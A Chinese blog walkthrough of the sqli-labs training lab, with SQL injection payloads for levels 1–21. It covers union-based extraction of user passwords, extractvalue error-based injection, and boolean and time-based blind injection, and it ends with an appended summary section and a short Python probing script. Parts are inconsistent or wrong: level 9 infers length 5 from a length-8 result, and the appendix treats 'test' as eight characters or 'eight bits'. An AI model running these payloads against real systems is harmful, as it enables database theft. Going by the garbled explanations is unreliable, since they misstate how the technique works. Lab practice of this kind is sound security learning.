Sql-labs-master通关攻略

lev-1

判断为字符型注入:

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1'

判断列数为三

http://192.168.131.131/sqli-labs-master/Less-1/?id=1' order by 3--+

判断回显位置

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

显示数据库名和版本

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version()--+

显示表名

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()--+

显示user表下的字段名

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users'--+

显示第一栏的字段内容

http://192.168.131.131/sqli-labs-master/Less-1/?id=-1' union select 1,concat_ws('?',id,username,password),version() from security.users--+

为了简洁,接下来的关卡只显示databae(),和version内容

lev-2

判断为数字型注入

http://192.168.131.131/sqli-labs-master/Less-2/?id=-2'

后续步骤参加lev1

lev-3

数字型注入,换成了')

http://192.168.131.131/sqli-labs-master/Less-3/?id=1')

后续同lev-1

lev-4

数字型,换成了")

http://192.168.131.131/sqli-labs-master/Less-4/?id=1")

后续同lev-1

lev-5

判断为字符型注入,但是没有回显

尝试报错注入

具体原理见报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-优快云博客

http://192.168.131.131/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e))--+

lev-6

字符型注入,变成双引号

lev-7

lev-8

无回显,无报错,猜测是布尔盲注

原理:布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程-优快云博客

利用bp抓包进行database长度爆破,可以得知长度为8

http://192.168.131.131/sqli-labs-master/Less-8/?id=1' and length(database())=1--+

利用bp抓包进行数据库名的枚举

http://192.168.131.131/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=s--+

可以得到各个字符的ascii码值,也可使用脚本

关于bp的爆破模块的使用方法实用 | 如何利用 Burp Suite 进行密码爆破-优快云博客

lev-9

多次输入未果,判断为延时注入

http://192.168.131.131/sqli-labs-master/Less-9/?id=1' and if (length(database())=1,sleep(5),sleep(2))--+

bp抓包爆破数据库长度,对比回包的时间发现8的时间较长,可知数据库长度为5,按此方式可以得知别的信息

lev-10

sleep(5)超时报错,剩余步骤同lev-9

lev-11

这次改成post传参,步骤和lev-1一样

lev-12

还是字符型注入,这回闭合换成了")

lev-13

没有回显有报错,使用报错注入,闭合方式为')

lev-14

报错注入,闭合为"

lev-15

布尔盲注,闭合方式为单引号

lev-16

还是布尔盲注闭合方式为")

lev-17

这会提示注入密码部分,报错注入,闭合方式为单引号

lev-18-21

18user-agent注入

这里需要注意的是,17关把密码给改了,所以我们要重置数据库,恢复默认的账密,admin

19referer注入,代码同上

20cookie注入

### sqli-labs-master 靶场通关原理与技巧 #### 1. 判断注入点和闭合方式 SQL 注入的第一步是确认是否存在可利用的注入点以及其语法结构。通过测试不同的输入来观察页面返回的结果,可以推断出 SQL 查询的具体形式及其漏洞位置。 例如,在某些情况下,可以通过简单的单引号 `'` 或双引号 `"` 来触发错误响应[^4]。如果页面返回异常,则说明可能存在未正确处理特殊字符的情况。此时可以根据返回的内容进一步分析目标系统的数据库类型、字段数量以及其他特性。 #### 2. 使用联合查询获取数据 当发现存在基于布尔型或者时间延迟类型的盲注时,可以尝试使用 UNION SELECT 方法读取额外的数据列。这种方法通常适用于能够控制整个 WHERE 子句条件的应用场景。 对于 Less-1 的例子来说,构造如下 payload 可以成功实现跨库检索并显示隐藏信息: ```http ?id=-1' union select 1,2,3 --+ ``` 此 Payload 将原本正常的 ID 参数替换成了负数加上逻辑运算符组合而成的新表达式[-1’], 并附加了一个带有三个固定数值的选择列表作为后续部分;最后再附上注释符号"--+"使得原SQL剩余片段被忽略掉从而不会影响最终执行效果[^1]. #### 3. 数据长度探测技术 为了更高效地提取敏感资料而无需逐字猜解每一个可能存在的字符串值,我们可以先测量它们各自的大小然后再逐一拆分拼接直至完全还原出来为止. 下面这个 URL 展示了如何利用 MySQL 内置函数 LENGTH() 结合 OR 连词快速定位当前所连接实例名称的实际位宽情况: ```http ?uname=a') OR LENGTH((SELECT database())) = 8# ``` 这里假设我们已经得知服务器端采用的是标准配置模式下的默认命名规则即 "test", 所以其实际存储占用空间正好等于八比特单位长度[^2]. #### 4. 错误消息解析法 有些时候即使无法直接看到预期中的反馈内容但仍有机会借助于程序崩溃产生的提示文字间接推测内部状态变化趋势进而调整策略继续深入挖掘潜在隐患所在之处. 比如当我们向系统提交参数为 '1"' 后得到类似这样的警告:"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for right syntax near '' at line 1". 显然这表明我们的请求确实进入了后台脚本流程当中但由于缺少必要的右半边配对方才中断下来未能顺利完成全部操作过程. #### 5. XML 解析漏洞滥用案例 除了常规手段之外还有一些特殊的攻击手法值得特别关注一下——那就是针对特定扩展功能模块实施精准打击行动之一便是EXPLOITING ERROR-BASED INJECTIONS VIA EXTRACTVALUE FUNCTIONALITY UNDER CERTAIN CIRCUMSTANCES LIKE SO: Consider this request pattern designed specifically towards uncovering all available tables within a given schema named 'security': ```http ?id=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) -- ``` Here we leverage another powerful feature provided by certain RDBMS implementations known as ExtractValue which allows us to craft complex XPath expressions inside our queries leading ultimately toward achieving similar goals mentioned earlier but through alternative pathways instead.[^3] ```python import requests def test_sql_injection(url): payloads = ["'", '"', ")"] for p in payloads: r = requests.get(f"{url}{p}") if "error" in r.text.lower(): return True return False print(test_sql_injection("http://example.com/vulnerable.php?id=")) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值